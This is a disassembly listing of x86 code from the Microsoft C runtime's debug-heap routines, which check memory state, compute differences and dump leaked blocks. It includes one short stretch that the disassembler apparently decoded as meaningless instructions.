mov ecx, [eax+8]
push ecx
mov edx, [ebp+var_14]
push edx
push offset aHsAllocatedAtF ; "%hs allocated at file %hs(%d).\n"
push 0
push 0
push 0
push 0
call loc_420E10
add esp, 20h
cmp eax, 1
jnz short loc_41C306
int 3 ; Trap to Debugger
loc_41C306: ; CODE XREF: sub_41C000+303j
xor eax, eax
test eax, eax
jnz short loc_41C2D9
loc_41C30C: ; CODE XREF: sub_41C000+2D7j
; sub_41C000+33Dj
mov ecx, [ebp+var_8]
mov edx, [ecx+10h]
push edx
mov eax, [ebp+var_8]
add eax, 20h
push eax
mov ecx, [ebp+var_14]
push ecx
push offset aHsLocatedAt0x0 ; "%hs located at 0x%08X is %u bytes long."...
push 0
push 0
push 0
push 0
call loc_420E10
add esp, 20h
cmp eax, 1
jnz short loc_41C339
int 3 ; Trap to Debugger
loc_41C339: ; CODE XREF: sub_41C000+336j
xor edx, edx
test edx, edx
jnz short loc_41C30C
mov [ebp+var_4], 0
loc_41C346: ; CODE XREF: sub_41C000+2CEj
jmp loc_41C153
; ---------------------------------------------------------------------------
loc_41C34B: ; CODE XREF: sub_41C000+15Fj
push 9
call sub_421B20
add esp, 4
mov eax, [ebp+var_4]
loc_41C358: ; CODE XREF: sub_41C000+21j
; sub_41C000+144j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41C000 endp
; ---------------------------------------------------------------------------
off_41C35F dd offset loc_41C0EA ; DATA XREF: sub_41C000+68r
dd offset loc_41C0C2
dd offset loc_41C09A
dd offset loc_41C06F
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, ds:dword_44FA40
mov [ebp-4], eax
cmp dword ptr [ebp+8], 0FFFFFFFFh
jz short loc_41C38B
mov ecx, [ebp+8]
mov ds:dword_44FA40, ecx
loc_41C38B: ; CODE XREF: seg000:0041C380j
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, ds:dword_44FA40
and eax, 1
test eax, eax
jnz short loc_41C3B2
jmp short loc_41C403
; ---------------------------------------------------------------------------
loc_41C3B2: ; CODE XREF: seg000:0041C3AEj
push 9
call sub_421A80
add esp, 4
mov ecx, ds:dword_4EE95C
mov [ebp-4], ecx
jmp short loc_41C3CF
; ---------------------------------------------------------------------------
loc_41C3C7: ; CODE XREF: seg000:loc_41C3F7j
mov edx, [ebp-4]
mov eax, [edx]
mov [ebp-4], eax
loc_41C3CF: ; CODE XREF: seg000:0041C3C5j
cmp dword ptr [ebp-4], 0
jz short loc_41C3F9
mov ecx, [ebp-4]
mov edx, [ecx+14h]
and edx, 0FFFFh
cmp edx, 4
jnz short loc_41C3F7
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp-4]
add ecx, 20h
push ecx
call dword ptr [ebp+8]
add esp, 8
loc_41C3F7: ; CODE XREF: seg000:0041C3E4j
jmp short loc_41C3C7
; ---------------------------------------------------------------------------
loc_41C3F9: ; CODE XREF: seg000:0041C3D3j
push 9
call sub_421B20
add esp, 4
loc_41C403: ; CODE XREF: seg000:0041C3B0j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
loc_41C410: ; CODE XREF: sub_41C460+19p
; seg000:0041C55Ap ...
push ebp
mov ebp, esp
push ecx
cmp dword ptr [ebp+8], 0
jz short loc_41C44D
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp+8]
push ecx
call near ptr 3D0000h
mov word ptr [ebp-7CDE8A40h], es
jge short loc_41C43F
add [edx+edx-75h], dh
push ebp
or al, 52h
mov eax, [ebp+8]
push eax
call near ptr 3D0000h
loc_41C43F: ; CODE XREF: seg000:0041C42Dj
pop dword ptr [ebp-38F68A40h]
inc ebp
cld
add [eax], eax
; ---------------------------------------------------------------------------
db 2 dup(0), 0EBh
; ---------------------------------------------------------------------------
pop es
loc_41C44D: ; CODE XREF: seg000:0041C418j
mov dword ptr [ebp-4], 0
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C460 proc near ; CODE XREF: sub_41B330+1AAp
; sub_41B920+9Cp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
jnz short loc_41C46E
xor eax, eax
jmp short loc_41C4E2
; ---------------------------------------------------------------------------
loc_41C46E: ; CODE XREF: sub_41C460+8j
push 1
push 20h
mov eax, [ebp+arg_0]
sub eax, 20h
push eax
call loc_41C410
add esp, 0Ch
test eax, eax
jnz short loc_41C489
xor eax, eax
jmp short loc_41C4E2
; ---------------------------------------------------------------------------
loc_41C489: ; CODE XREF: sub_41C460+23j
mov ecx, [ebp+arg_0]
sub ecx, 20h
push ecx
call sub_422180
add esp, 4
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_41C4B6
mov edx, [ebp+arg_0]
sub edx, 20h
push edx
mov eax, [ebp+var_4]
push eax
call sub_4221E0
add esp, 8
jmp short loc_41C4E2
; ---------------------------------------------------------------------------
loc_41C4B6: ; CODE XREF: sub_41C460+3Fj
mov ecx, ds:dword_4EE96C
and ecx, 8000h
test ecx, ecx
jz short loc_41C4CD
mov eax, 1
jmp short loc_41C4E2
; ---------------------------------------------------------------------------
loc_41C4CD: ; CODE XREF: sub_41C460+64j
mov edx, [ebp+arg_0]
sub edx, 20h
push edx
push 0
mov eax, ds:dword_4EF060
push eax
call ds:dword_4F1414 ; HeapValidate
loc_41C4E2: ; CODE XREF: sub_41C460+Cj
; sub_41C460+27j ...
mov esp, ebp
pop ebp
retn
sub_41C460 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+8]
push eax
call sub_41C460
add esp, 4
test eax, eax
jnz short loc_41C50B
xor eax, eax
jmp loc_41C5CF
; ---------------------------------------------------------------------------
loc_41C50B: ; CODE XREF: seg000:0041C502j
push 9
call sub_421A80
add esp, 4
mov ecx, [ebp+8]
sub ecx, 20h
mov [ebp-4], ecx
mov edx, [ebp-4]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 4
jz short loc_41C550
mov ecx, [ebp-4]
cmp dword ptr [ecx+14h], 1
jz short loc_41C550
mov edx, [ebp-4]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 2
jz short loc_41C550
mov ecx, [ebp-4]
cmp dword ptr [ecx+14h], 3
jnz short loc_41C5C3
loc_41C550: ; CODE XREF: seg000:0041C52Cj
; seg000:0041C535j ...
push 1
mov edx, [ebp+0Ch]
push edx
mov eax, [ebp+8]
push eax
call loc_41C410
add esp, 0Ch
test eax, eax
jz short loc_41C5C3
mov ecx, [ebp-4]
mov edx, [ecx+10h]
cmp edx, [ebp+0Ch]
jnz short loc_41C5C3
mov eax, [ebp-4]
mov ecx, [eax+18h]
cmp ecx, ds:dword_44FA44
jg short loc_41C5C3
cmp dword ptr [ebp+10h], 0
jz short loc_41C590
mov edx, [ebp+10h]
mov eax, [ebp-4]
mov ecx, [eax+18h]
mov [edx], ecx
loc_41C590: ; CODE XREF: seg000:0041C583j
cmp dword ptr [ebp+14h], 0
jz short loc_41C5A1
mov edx, [ebp+14h]
mov eax, [ebp-4]
mov ecx, [eax+8]
mov [edx], ecx
loc_41C5A1: ; CODE XREF: seg000:0041C594j
cmp dword ptr [ebp+18h], 0
jz short loc_41C5B2
mov edx, [ebp+18h]
mov eax, [ebp-4]
mov ecx, [eax+0Ch]
mov [edx], ecx
loc_41C5B2: ; CODE XREF: seg000:0041C5A5j
push 9
call sub_421B20
add esp, 4
mov eax, 1
jmp short loc_41C5CF
; ---------------------------------------------------------------------------
loc_41C5C3: ; CODE XREF: seg000:0041C54Ej
; seg000:0041C564j ...
push 9
call sub_421B20
add esp, 4
xor eax, eax
loc_41C5CF: ; CODE XREF: seg000:0041C506j
; seg000:0041C5C1j
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, ds:dword_4F0094
mov [ebp-4], eax
mov ecx, [ebp+8]
mov ds:dword_4F0094, ecx
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C600 proc near ; CODE XREF: seg000:0041CC8Dp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
cmp [ebp+arg_0], 0
jnz short loc_41C63A
loc_41C60F: ; CODE XREF: sub_41C600+33j
push offset a_crtmemcheckpo ; "_CrtMemCheckPoint: NULL state pointer.\n"...
push offset aS_25 ; "%s"
push 0
push 0
push 0
push 0
call loc_420E10
add esp, 18h
cmp eax, 1
jnz short loc_41C62F
int 3 ; Trap to Debugger
loc_41C62F: ; CODE XREF: sub_41C600+2Cj
xor eax, eax
test eax, eax
jnz short loc_41C60F
jmp loc_41C763
; ---------------------------------------------------------------------------
loc_41C63A: ; CODE XREF: sub_41C600+Dj
push 9
call sub_421A80
add esp, 4
mov ecx, [ebp+arg_0]
mov edx, ds:dword_4EE95C
mov [ecx], edx
mov [ebp+var_4], 0
jmp short loc_41C661
; ---------------------------------------------------------------------------
loc_41C658: ; CODE XREF: sub_41C600+83j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_41C661: ; CODE XREF: sub_41C600+56j
cmp [ebp+var_4], 5
jge short loc_41C685
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_0]
mov dword ptr [edx+ecx*4+18h], 0
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+eax*4+4], 0
jmp short loc_41C658
; ---------------------------------------------------------------------------
loc_41C685: ; CODE XREF: sub_41C600+65j
mov edx, ds:dword_4EE95C
mov [ebp+var_8], edx
jmp short loc_41C698
; ---------------------------------------------------------------------------
loc_41C690: ; CODE XREF: sub_41C600:loc_41C73Cj
mov eax, [ebp+var_8]
mov ecx, [eax]
mov [ebp+var_8], ecx
loc_41C698: ; CODE XREF: sub_41C600+8Ej
cmp [ebp+var_8], 0
jz loc_41C741
mov edx, [ebp+var_8]
mov eax, [edx+14h]
and eax, 0FFFFh
test eax, eax
jl short loc_41C717
mov ecx, [ebp+var_8]
mov edx, [ecx+14h]
and edx, 0FFFFh
cmp edx, 5
jge short loc_41C717
mov eax, [ebp+var_8]
mov ecx, [eax+14h]
and ecx, 0FFFFh
mov edx, [ebp+arg_0]
mov eax, [edx+ecx*4+4]
add eax, 1
mov ecx, [ebp+var_8]
mov edx, [ecx+14h]
and edx, 0FFFFh
mov ecx, [ebp+arg_0]
mov [ecx+edx*4+4], eax
mov edx, [ebp+var_8]
mov eax, [edx+14h]
and eax, 0FFFFh
mov ecx, [ebp+arg_0]
mov edx, [ecx+eax*4+18h]
mov eax, [ebp+var_8]
add edx, [eax+10h]
mov ecx, [ebp+var_8]
mov eax, [ecx+14h]
and eax, 0FFFFh
mov ecx, [ebp+arg_0]
mov [ecx+eax*4+18h], edx
jmp short loc_41C73C
; ---------------------------------------------------------------------------
loc_41C717: ; CODE XREF: sub_41C600+AFj
; sub_41C600+C0j ...
mov edx, [ebp+var_8]
push edx
push offset aBadMemoryBlock ; "Bad memory block found at 0x%08X.\n"
push 0
push 0
push 0
push 0
call loc_420E10
add esp, 18h
cmp eax, 1
jnz short loc_41C736
int 3 ; Trap to Debugger
loc_41C736: ; CODE XREF: sub_41C600+133j
xor eax, eax
test eax, eax
jnz short loc_41C717
loc_41C73C: ; CODE XREF: sub_41C600+115j
jmp loc_41C690
; ---------------------------------------------------------------------------
loc_41C741: ; CODE XREF: sub_41C600+9Cj
mov ecx, [ebp+arg_0]
mov edx, ds:dword_4EE964
mov [ecx+2Ch], edx
mov eax, [ebp+arg_0]
mov ecx, ds:dword_4EE958
mov [eax+30h], ecx
push 9
call sub_421B20
add esp, 4
loc_41C763: ; CODE XREF: sub_41C600+35j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41C600 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword ptr [ebp-8], 0
cmp dword ptr [ebp+8], 0
jz short loc_41C792
cmp dword ptr [ebp+0Ch], 0
jz short loc_41C792
cmp dword ptr [ebp+10h], 0
jnz short loc_41C7C0
loc_41C792: ; CODE XREF: seg000:0041C784j
; seg000:0041C78Aj ...
push offset a_crtmemdiffere ; "_CrtMemDifference: NULL state pointer.\n"...
push offset aS_25 ; "%s"
push 0
push 0
push 0
push 0
call loc_420E10
add esp, 18h
cmp eax, 1
jnz short loc_41C7B2
int 3 ; Trap to Debugger
loc_41C7B2: ; CODE XREF: seg000:0041C7AFj
xor eax, eax
test eax, eax
jnz short loc_41C792
mov eax, [ebp-8]
jmp loc_41C88C
; ---------------------------------------------------------------------------
loc_41C7C0: ; CODE XREF: seg000:0041C790j
mov dword ptr [ebp-4], 0
jmp short loc_41C7D2
; ---------------------------------------------------------------------------
loc_41C7C9: ; CODE XREF: seg000:loc_41C857j
mov ecx, [ebp-4]
add ecx, 1
mov [ebp-4], ecx
loc_41C7D2: ; CODE XREF: seg000:0041C7C7j
cmp dword ptr [ebp-4], 5
jge loc_41C85C
mov edx, [ebp-4]
mov eax, [ebp+10h]
mov ecx, [ebp-4]
mov esi, [ebp+0Ch]
mov edx, [eax+edx*4+18h]
sub edx, [esi+ecx*4+18h]
mov eax, [ebp-4]
mov ecx, [ebp+8]
mov [ecx+eax*4+18h], edx
mov edx, [ebp-4]
mov eax, [ebp+10h]
mov ecx, [ebp-4]
mov esi, [ebp+0Ch]
mov edx, [eax+edx*4+4]
sub edx, [esi+ecx*4+4]
mov eax, [ebp-4]
mov ecx, [ebp+8]
mov [ecx+eax*4+4], edx
mov edx, [ebp-4]
mov eax, [ebp+8]
cmp dword ptr [eax+edx*4+18h], 0
jnz short loc_41C832
mov ecx, [ebp-4]
mov edx, [ebp+8]
cmp dword ptr [edx+ecx*4+4], 0
jz short loc_41C857
loc_41C832: ; CODE XREF: seg000:0041C823j
cmp dword ptr [ebp-4], 0
jz short loc_41C857
cmp dword ptr [ebp-4], 2
jnz short loc_41C850
cmp dword ptr [ebp-4], 2
jnz short loc_41C857
mov eax, ds:dword_44FA40
and eax, 10h
test eax, eax
jz short loc_41C857
loc_41C850: ; CODE XREF: seg000:0041C83Cj
mov dword ptr [ebp-8], 1
loc_41C857: ; CODE XREF: seg000:0041C830j
; seg000:0041C836j ...
jmp loc_41C7C9
; ---------------------------------------------------------------------------
loc_41C85C: ; CODE XREF: seg000:0041C7D6j
mov ecx, [ebp+10h]
mov edx, [ebp+0Ch]
mov eax, [ecx+2Ch]
sub eax, [edx+2Ch]
mov ecx, [ebp+8]
mov [ecx+2Ch], eax
mov edx, [ebp+10h]
mov eax, [ebp+0Ch]
mov ecx, [edx+30h]
sub ecx, [eax+30h]
mov edx, [ebp+8]
mov [edx+30h], ecx
mov eax, [ebp+8]
mov dword ptr [eax], 0
mov eax, [ebp-8]
loc_41C88C: ; CODE XREF: seg000:0041C7BBj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C8A0 proc near ; CODE XREF: seg000:0041CCDCp
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov [ebp+var_8], 0
push 9
call sub_421A80
add esp, 4
loc_41C8BA: ; CODE XREF: sub_41C8A0+3Ej
push offset aDumpingObjects ; "Dumping objects ->\n"
push offset aS_25 ; "%s"
push 0
push 0
push 0
push 0
call loc_420E10
add esp, 18h
cmp eax, 1
jnz short loc_41C8DA
int 3 ; Trap to Debugger
loc_41C8DA: ; CODE XREF: sub_41C8A0+37j
xor eax, eax
test eax, eax
jnz short loc_41C8BA
cmp [ebp+arg_0], 0
jz short loc_41C8EE
mov ecx, [ebp+arg_0]
mov edx, [ecx]
mov [ebp+var_8], edx
loc_41C8EE: ; CODE XREF: sub_41C8A0+44j
mov eax, ds:dword_4EE95C
mov [ebp+var_4], eax
jmp short loc_41C900
; ---------------------------------------------------------------------------
loc_41C8F8: ; CODE XREF: sub_41C8A0:loc_41CB1Dj
mov ecx, [ebp+var_4]
mov edx, [ecx]
mov [ebp+var_4], edx
loc_41C900: ; CODE XREF: sub_41C8A0+56j
cmp [ebp+var_4], 0
jz loc_41CB22
mov eax, [ebp+var_4]
cmp eax, [ebp+var_8]
jz loc_41CB22
mov ecx, [ebp+var_4]
mov edx, [ecx+14h]
and edx, 0FFFFh
cmp edx, 3
jz short loc_41C954
mov eax, [ebp+var_4]
mov ecx, [eax+14h]
and ecx, 0FFFFh
test ecx, ecx
jz short loc_41C954
mov edx, [ebp+var_4]
mov eax, [edx+14h]
and eax, 0FFFFh
cmp eax, 2
jnz short loc_41C959
mov ecx, ds:dword_44FA40
and ecx, 10h
test ecx, ecx
jnz short loc_41C959
loc_41C954: ; CODE XREF: sub_41C8A0+85j
; sub_41C8A0+95j
jmp loc_41CB1D
; ---------------------------------------------------------------------------
loc_41C959: ; CODE XREF: sub_41C8A0+A5j
; sub_41C8A0+B2j
mov edx, [ebp+var_4]
cmp dword ptr [edx+8], 0
jz short loc_41C9D2
push 0
push 1
mov eax, [ebp+var_4]
mov ecx, [eax+8]
push ecx
call loc_41C410
add esp, 0Ch
test eax, eax
jnz short loc_41C9A3
loc_41C979: ; CODE XREF: sub_41C8A0+FFj
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
push eax
push offset aFileErrorD ; "#File Error#(%d) : "
push 0
push 0
push 0
push 0
call loc_420E10
add esp, 18h
cmp eax, 1
jnz short loc_41C99B
int 3 ; Trap to Debugger
loc_41C99B: ; CODE XREF: sub_41C8A0+F8j
xor ecx, ecx
test ecx, ecx
jnz short loc_41C979
jmp short loc_41C9D2
; ---------------------------------------------------------------------------
loc_41C9A3: ; CODE XREF: sub_41C8A0+D7j
; sub_41C8A0+130j
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
push eax
mov ecx, [ebp+var_4]
mov edx, [ecx+8]
push edx
push offset aHsD ; "%hs(%d) : "
push 0
push 0
push 0
push 0
call loc_420E10
add esp, 1Ch
cmp eax, 1
jnz short loc_41C9CC
int 3 ; Trap to Debugger
loc_41C9CC: ; CODE XREF: sub_41C8A0+129j
xor eax, eax
test eax, eax
jnz short loc_41C9A3
loc_41C9D2: ; CODE XREF: sub_41C8A0+C0j
; sub_41C8A0+101j ...
mov ecx, [ebp+var_4]
mov edx, [ecx+18h]
push edx
push offset aLd ; "{%ld} "
push 0
push 0
push 0
push 0
call loc_420E10
add esp, 18h
cmp eax, 1
jnz short loc_41C9F4
int 3 ; Trap to Debugger
loc_41C9F4: ; CODE XREF: sub_41C8A0+151j
xor eax, eax
test eax, eax
jnz short loc_41C9D2
mov ecx, [ebp+var_4]
mov edx, [ecx+14h]
and edx, 0FFFFh
cmp edx, 4
jnz short loc_41CA7C
loc_41CA0B: ; CODE XREF: sub_41C8A0+1A7j
mov eax, [ebp+var_4]
mov ecx, [eax+10h]
push ecx
mov edx, [ebp+var_4]
mov eax, [edx+14h]
sar eax, 10h
and eax, 0FFFFh
push eax
mov ecx, [ebp+var_4]
add ecx, 20h
push ecx
push offset aClientBlockAt0 ; "client block at 0x%08X, subtype %x, %u "...
push 0
push 0
push 0
push 0
call loc_420E10
add esp, 20h
cmp eax, 1
jnz short loc_41CA43
int 3 ; Trap to Debugger
loc_41CA43: ; CODE XREF: sub_41C8A0+1A0j
xor edx, edx
test edx, edx
jnz short loc_41CA0B
cmp ds:dword_4F0094, 0
jz short loc_41CA6B
mov eax, [ebp+var_4]
mov ecx, [eax+10h]
push ecx
mov edx, [ebp+var_4]
add edx, 20h
push edx
call ds:dword_4F0094
add esp, 8
jmp short loc_41CA77
; ---------------------------------------------------------------------------
loc_41CA6B: ; CODE XREF: sub_41C8A0+1B0j
mov eax, [ebp+var_4]
push eax
call sub_41CB60
add esp, 4
loc_41CA77: ; CODE XREF: sub_41C8A0+1C9j
jmp loc_41CB1D
; ---------------------------------------------------------------------------
loc_41CA7C: ; CODE XREF: sub_41C8A0+169j
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+14h], 1
jnz short loc_41CAC2
loc_41CA85: ; CODE XREF: sub_41C8A0+212j
mov edx, [ebp+var_4]
mov eax, [edx+10h]
push eax
mov ecx, [ebp+var_4]
add ecx, 20h
push ecx
push offset aNormalBlockAt0 ; "normal block at 0x%08X, %u bytes long.\n"...
push 0
push 0
push 0
push 0
call loc_420E10
add esp, 1Ch
cmp eax, 1
jnz short loc_41CAAE
int 3 ; Trap to Debugger
loc_41CAAE: ; CODE XREF: sub_41C8A0+20Bj
xor edx, edx
test edx, edx
jnz short loc_41CA85
mov eax, [ebp+var_4]
push eax
call sub_41CB60
add esp, 4
jmp short loc_41CB1D
; ---------------------------------------------------------------------------
loc_41CAC2: ; CODE XREF: sub_41C8A0+1E3j
mov ecx, [ebp+var_4]
mov edx, [ecx+14h]
and edx, 0FFFFh
cmp edx, 2
jnz short loc_41CB1D
loc_41CAD3: ; CODE XREF: sub_41C8A0+26Fj
mov eax, [ebp+var_4]
mov ecx, [eax+10h]
push ecx
mov edx, [ebp+var_4]
mov eax, [edx+14h]
sar eax, 10h
and eax, 0FFFFh
push eax
mov ecx, [ebp+var_4]
add ecx, 20h
push ecx
push offset aCrtBlockAt0x08 ; "crt block at 0x%08X, subtype %x, %u byt"...
push 0
push 0
push 0
push 0
call loc_420E10
add esp, 20h
cmp eax, 1
jnz short loc_41CB0B
int 3 ; Trap to Debugger
loc_41CB0B: ; CODE XREF: sub_41C8A0+268j
xor edx, edx
test edx, edx
jnz short loc_41CAD3
mov eax, [ebp+var_4]
push eax
call sub_41CB60
add esp, 4
loc_41CB1D: ; CODE XREF: sub_41C8A0:loc_41C954j
; sub_41C8A0:loc_41CA77j ...
jmp loc_41C8F8
; ---------------------------------------------------------------------------
loc_41CB22: ; CODE XREF: sub_41C8A0+64j
; sub_41C8A0+70j
push 9
call sub_421B20
add esp, 4
loc_41CB2C: ; CODE XREF: sub_41C8A0+2B0j
push offset aObjectDumpComp ; "Object dump complete.\n"
push offset aS_25 ; "%s"
push 0
push 0
push 0
push 0
call loc_420E10
add esp, 18h
cmp eax, 1
jnz short loc_41CB4C
int 3 ; Trap to Debugger
loc_41CB4C: ; CODE XREF: sub_41C8A0+2A9j
xor ecx, ecx
test ecx, ecx
jnz short loc_41CB2C
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41C8A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CB60 proc near ; CODE XREF: sub_41C8A0+1CFp
; sub_41C8A0+218p ...
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = byte ptr -48h
var_34 = byte ptr -34h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5Ch
push ebx
push esi
push edi
mov [ebp+var_4C], 0
jmp short loc_41CB7B
; ---------------------------------------------------------------------------
loc_41CB72: ; CODE XREF: sub_41CB60+D7j
mov eax, [ebp+var_4C]
add eax, 1
mov [ebp+var_4C], eax
loc_41CB7B: ; CODE XREF: sub_41CB60+10j
mov ecx, [ebp+arg_0]
cmp dword ptr [ecx+10h], 10h
jge short loc_41CB8F
mov edx, [ebp+arg_0]
mov eax, [edx+10h]
mov [ebp+var_54], eax
jmp short loc_41CB96
; ---------------------------------------------------------------------------
loc_41CB8F: ; CODE XREF: sub_41CB60+22j
mov [ebp+var_54], 10h
loc_41CB96: ; CODE XREF: sub_41CB60+2Dj
mov ecx, [ebp+var_4C]
cmp ecx, [ebp+var_54]
jge loc_41CC3C
mov edx, [ebp+arg_0]
add edx, [ebp+var_4C]
mov al, [edx+20h]
mov byte ptr [ebp+var_50], al
cmp ds:dword_44FD20, 1
jle short loc_41CBD3
push 157h
mov ecx, [ebp+var_50]
and ecx, 0FFh
push ecx
call sub_423D90
add esp, 8
mov [ebp+var_58], eax
jmp short loc_41CBF0
; ---------------------------------------------------------------------------
loc_41CBD3: ; CODE XREF: sub_41CB60+55j
mov edx, [ebp+var_50]
and edx, 0FFh
mov eax, ds:off_44FE2C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 157h
mov [ebp+var_58], ecx
loc_41CBF0: ; CODE XREF: sub_41CB60+71j
cmp [ebp+var_58], 0
jz short loc_41CC04
mov edx, [ebp+var_50]
and edx, 0FFh
mov [ebp+var_5C], edx
jmp short loc_41CC0B
; ---------------------------------------------------------------------------
loc_41CC04: ; CODE XREF: sub_41CB60+94j
mov [ebp+var_5C], 20h
loc_41CC0B: ; CODE XREF: sub_41CB60+A2j
mov eax, [ebp+var_4C]
mov cl, byte ptr [ebp+var_5C]
mov [ebp+eax+var_48], cl
mov edx, [ebp+var_50]
and edx, 0FFh
push edx
push offset a_2x ; "%.2X "
mov eax, [ebp+var_4C]
imul eax, 3
lea ecx, [ebp+eax+var_34]
push ecx
call sub_41D260
add esp, 0Ch
jmp loc_41CB72
; ---------------------------------------------------------------------------
loc_41CC3C: ; CODE XREF: sub_41CB60+3Cj
mov edx, [ebp+var_4C]
mov [ebp+edx+var_48], 0
loc_41CC44: ; CODE XREF: sub_41CB60+10Bj
lea eax, [ebp+var_34]
push eax
lea ecx, [ebp+var_48]
push ecx
push offset aDataSS ; " Data: <%s> %s\n"
push 0
push 0
push 0
push 0
call loc_420E10
add esp, 1Ch
cmp eax, 1
jnz short loc_41CC67
int 3 ; Trap to Debugger
loc_41CC67: ; CODE XREF: sub_41CB60+104j
xor edx, edx
test edx, edx
jnz short loc_41CC44
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41CB60 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
lea eax, [ebp-34h]
push eax
call sub_41C600
add esp, 4
cmp dword ptr [ebp-20h], 0
jnz short loc_41CCB4
cmp dword ptr [ebp-2Ch], 0
jnz short loc_41CCB4
mov ecx, ds:dword_44FA40
and ecx, 10h
test ecx, ecx
jz short loc_41CCEB
cmp dword ptr [ebp-28h], 0
jz short loc_41CCEB
loc_41CCB4: ; CODE XREF: seg000:0041CC99j
; seg000:0041CC9Fj ...
push offset aDetectedMemory ; "Detected memory leaks!\n"
push offset aS_25 ; "%s"
push 0
push 0
push 0
push 0
call loc_420E10
add esp, 18h
cmp eax, 1
jnz short loc_41CCD4
int 3 ; Trap to Debugger
loc_41CCD4: ; CODE XREF: seg000:0041CCD1j
xor edx, edx
test edx, edx
jnz short loc_41CCB4
push 0
call sub_41C8A0
add esp, 4
mov eax, 1
jmp short loc_41CCED
; ---------------------------------------------------------------------------
loc_41CCEB: ; CODE XREF: seg000:0041CCACj
; seg000:0041CCB2j
xor eax, eax
loc_41CCED: ; CODE XREF: seg000:0041CCE9j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
cmp dword ptr [ebp+8], 0
jnz short loc_41CD12
jmp loc_41CDBE
; ---------------------------------------------------------------------------
loc_41CD12: ; CODE XREF: seg000:0041CD0Bj
mov dword ptr [ebp-4], 0
jmp short loc_41CD24
; ---------------------------------------------------------------------------
loc_41CD1B: ; CODE XREF: seg000:0041CD6Cj
mov eax, [ebp-4]
add eax, 1
mov [ebp-4], eax
loc_41CD24: ; CODE XREF: seg000:0041CD19j
cmp dword ptr [ebp-4], 5
jge short loc_41CD6E
loc_41CD2A: ; CODE XREF: seg000:0041CD6Aj
mov ecx, [ebp-4]
mov edx, ds:off_44FA50[ecx*4]
push edx
mov eax, [ebp-4]
mov ecx, [ebp+8]
mov edx, [ecx+eax*4+4]
push edx
mov eax, [ebp-4]
mov ecx, [ebp+8]
mov edx, [ecx+eax*4+18h]
push edx
push offset aLdBytesInLdHsB ; "%ld bytes in %ld %hs Blocks.\n"
push 0
push 0
push 0
push 0
call loc_420E10
add esp, 20h
cmp eax, 1
jnz short loc_41CD66
int 3 ; Trap to Debugger
loc_41CD66: ; CODE XREF: seg000:0041CD63j
xor eax, eax
test eax, eax
jnz short loc_41CD2A
jmp short loc_41CD1B
; ---------------------------------------------------------------------------
loc_41CD6E: ; CODE XREF: seg000:0041CD28j
; seg000:0041CD94j
mov ecx, [ebp+8]
mov edx, [ecx+2Ch]
push edx
push offset aLargestNumberU ; "Largest number used: %ld bytes.\n"
push 0
push 0
push 0
push 0
call loc_420E10
add esp, 18h
cmp eax, 1
jnz short loc_41CD90
int 3 ; Trap to Debugger
loc_41CD90: ; CODE XREF: seg000:0041CD8Dj
xor eax, eax
test eax, eax
jnz short loc_41CD6E
loc_41CD96: ; CODE XREF: seg000:0041CDBCj
mov ecx, [ebp+8]
mov edx, [ecx+30h]
push edx
push offset aTotalAllocatio ; "Total allocations: %ld bytes.\n"
push 0
push 0
push 0
push 0
call loc_420E10
add esp, 18h
cmp eax, 1
jnz short loc_41CDB8
int 3 ; Trap to Debugger
loc_41CDB8: ; CODE XREF: seg000:0041CDB5j
xor eax, eax
test eax, eax
jnz short loc_41CD96
loc_41CDBE: ; CODE XREF: seg000:0041CD0Dj
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
